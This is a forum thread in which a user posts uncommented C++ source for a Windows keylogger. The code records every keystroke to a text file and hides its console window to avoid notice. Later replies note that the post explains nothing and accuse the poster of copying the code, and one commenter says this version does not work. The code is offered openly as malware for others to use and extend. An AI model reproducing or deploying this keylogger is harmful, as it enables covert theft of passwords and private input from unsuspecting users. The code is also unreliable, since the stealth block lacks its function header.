[Jericho]

Hi, this is my first tutorial and it handles about keylogger. I've seen on this page few keyloggers so i decided to post my own. I know code isn't perfect but don't judge me, i've been programming for few months now. I think i'll just post the code so You can see there is no added viruses or anything and You can add something if You want to. So no .exe or virus scan, just the source code.
And also, there is no commenting in the code.

Code:

#include <iostream>
using namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char *file);
void Stealth();


int main()
{

char i;

while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"keystrokes.txt");
}
}
system ("PAUSE");
return 0;
}


int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

cout << key_stroke << endl;

if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose (OUTPUT_FILE);
return 0;
}


{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}

[Deque]

How is this a tutorial? You do not explain anything.
-moved to coding section, tutorial tag removed-

[Jericho]

My bad. Sorry!

[noize]

I think, not your code?
http://www.hackcommunity.com/Thread-How-...er-using-C

I just mean, how about the probabilities of so similar code?
Also you failed in the only edit in the code you made 'cause your version's not working; the above one is.

[Jericho]

I think, not your code?
http://www.hackcommunity.com/Thread-How-...er-using-C

I just mean, how about the probabilities of so similar code?
Also you failed in the only edit in the code you made 'cause your version's not working; the above one is.

I didn't saw that post so post this and after i posted this i noticed it.
so sorry.

[noize]

I think, not your code?
http://www.hackcommunity.com/Thread-How-...er-using-C

I just mean, how about the probabilities of so similar code?
Also you failed in the only edit in the code you made 'cause your version's not working; the above one is.

I didn't saw that post so post this and after i posted this i noticed it.
so sorry.

I just mean that you should give away credits if it's not your code.
If you don't know for sure the source at least say it's not yours.

[LunatiC]

Yep, this isn't your code but nice try. Next time give props.

[killerOfCode]

This is not your code, I have seen it on many other websites as well. [including one which explains the code]

[killerOfCode]

This is not your code, I have seen it on many other websites as well. [including one which explains the code]

[LunatiC]

Yup. Do You mean this: http://www.breakthesecurity.com/2011/03/...c.html?m=1